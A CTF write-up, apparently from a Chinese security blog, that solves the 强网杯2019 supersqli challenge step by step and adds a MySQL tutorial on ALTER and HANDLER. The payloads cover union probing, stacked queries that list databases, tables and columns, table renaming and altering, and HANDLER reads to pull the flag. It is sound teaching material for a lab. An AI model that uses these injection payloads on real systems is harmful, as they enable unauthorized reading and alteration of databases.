前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[强网杯2019]supersqli--Web安全进阶系列

[强网杯2019]supersqli--Web安全进阶系列

原创
作者头像
小羽网安
发布2024-06-18 16:56:14
780
发布2024-06-18 16:56:14
举报
文章被收录于专栏:web安全web安全

[强网杯2019]supersqli--Web安全进阶系列

image-20240618100820840
image-20240618100820840

使用引号判断是否存在sql注入

image-20240618100900718
image-20240618100900718

报错,可能存在sql注入,注入payload,判断列数,结果为不存在4列

代码语言:javascript
复制
?inject=1' order by 4 -- q
image-20240618102748897
image-20240618102748897

换2试试,正常显示,说明存在2列输出结果

代码语言:javascript
复制
?inject=1' order by 2 -- q
image-20240618103051527
image-20240618103051527

尝试使用联合注入失败,并且限制了select|update|delete|drop|insert|where|\./i

代码语言:javascript
复制
?inject=1' union select 1,2 -- q
image-20240618103126193
image-20240618103126193

注入payload,存在堆叠注入

代码语言:javascript
复制
?inject=1' ; show databases;  -- w
image-20240618103305228
image-20240618103305228

查看当前数据库表

代码语言:javascript
复制
?inject=-1' ; show tables;  -- w
image-20240618103633311
image-20240618103633311

查看words表中的列名,包含id和data

代码语言:javascript
复制
?inject=-1' ; show columns from words ;  -- w
image-20240618103607847
image-20240618103607847

这里我们通过修改表名和列名的方式,把结果给爆出来,注入以下payload

代码语言:javascript
复制
?inject=-1' ; rename `words` to `words1` ; rename `1919810931114514` to `words` ; alter table `words` change `id` `flag` varcchar(100) ; -- w
image-20240618105900183
image-20240618105900183

sql语句alter的使用: 当我们需要修改数据表名或者修改数据表字段时,就需要使用到 MySQL ALTER 命令。 MySQL 的 ALTER 命令用于修改数据库、表和索引等对象的结构ALTER 命令允许你添加、修改或删除数据库对象,并且可以用于更改表的列定义、添加约束、创建和删除索引等操作。 ALTER 命令非常强大,可以在数据库结构发生变化时进行灵活的修改和调整。

代码语言:javascript
复制
-- 向表中添加列
alter table [table_name] 
add column [new_column] [datatype];

-- 修改数据类型
alter table [table_name]
modify column [column_name] [datatype]

-- 修改列明
alter table [table_name]
change column [old_column_name] [new_column_name] [datatype];

-- 删除列
alter table table_name
drop column [column_name];

--数据去重
create table [tmp] select * from [table_name_] group by ([col1],[col2]); -- 先创建一个临时表
drop table [table_name_];-- 删除具有重复数据的表
alter table tmp rename table_name_;-- 将临时表修改名称为你的需要去重的表名即可
or
rename tmp table_name_;-- 俩种修改表名的方式皆可

再使用handler查看第一行数据,爆出flag

代码语言:javascript
复制
?inject=1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w
image-20240618110118031
image-20240618110118031

知识补充:

mysql支持多种查询数据的方式,除了常见的select语句外,还有handler命令,handler允许用户一行一行地读取表数据,但功能并不能像select那样全面。他是mysql专有地特性,并未被纳入sql标准。handler为存储引擎提供了直接地接口,主要用于MySAM和InnoDB表,提供了一种访问表数据的直接方式。以下是它地常见用法:

代码语言:javascript
复制
-- 首先创建一张表
create table handler_table(id int, name varchar(10));
-- 按下列顺序依次插入数据
insert into handler_table values(3, '张三');
insert into handler_table values(4, '李四');
insert into handler_table values(5, '王五');
insert into handler_table values(1, '刘一');
insert into handler_table values(2, '陈二');
image-20240618155553146
image-20240618155553146
不通过索引查看表
1、打开句柄
代码语言:javascript
复制
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)
2、查看数据
代码语言:javascript
复制
mysql> handler handler_table read first;
+------+--------+
| id   | name   |
+------+--------+
|    3 | 张三   |
+------+--------+
1 row in set (0.00 sec)

mysql> handler handler_table read next;
+------+--------+
| id   | name   |
+------+--------+
|    4 | 李四   |
+------+--------+
1 row in set (0.00 sec)
3、关闭句柄
代码语言:javascript
复制
handler handler_table close;
通过索引查看表
1、创建索引
代码语言:javascript
复制
mysql> create index handler_index on handler_table(id);
Query OK, 5 rows affected (0.02 sec)
2、打开句柄
代码语言:javascript
复制
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler handler_table open as p;
Query OK, 0 rows affected (0.00 sec)
3、查看数据
代码语言:javascript
复制
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
#举例
mysql> handler p read handler_index first;
+------+--------+
| id   | name   |
+------+--------+
|    1 | 刘一   |
+------+--------+
1 row in set (0.00 sec)
mysql> handler p read handler_index last;
+------+--------+
| id   | name   |
+------+--------+
|    5 | 王五   |
+------+--------+
1 row in set (0.00 sec)
4、关闭句柄
代码语言:javascript
复制
handler p close;

Tips:如果遇到如下错误,表示没有删除原来创建地索引句柄

代码语言:javascript
复制
mysql> create index handler_index on handler_table(id);
ERROR 1061 (42000): Duplicate key name 'handler_index'

使用如下指令,即可删除索引句柄

代码语言:javascript
复制
alter table hand_table drop index hander_index;

然后再次创建索引句柄

代码语言:javascript
复制
mysql> alter table handler_table drop index handler_index; -- 删除之前创建地索引句柄
Query OK, 5 rows affected (0.02 sec)
Records: 5  Duplicates: 0  Warnings: 0
mysql> create index handler_index on handler_table(id);-- 创建句柄
Query OK, 5 rows affected (0.02 sec)

emmm差不多了,谢谢观看,博主21岁,交朋友dd。。。。。

原文https://mp.weixin.qq.com/s/5FkhxrBs4cM2yv7_SL9Z3Q

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • [强网杯2019]supersqli--Web安全进阶系列
    • 知识补充:
    相关产品与服务
    云数据库 MySQL
    腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档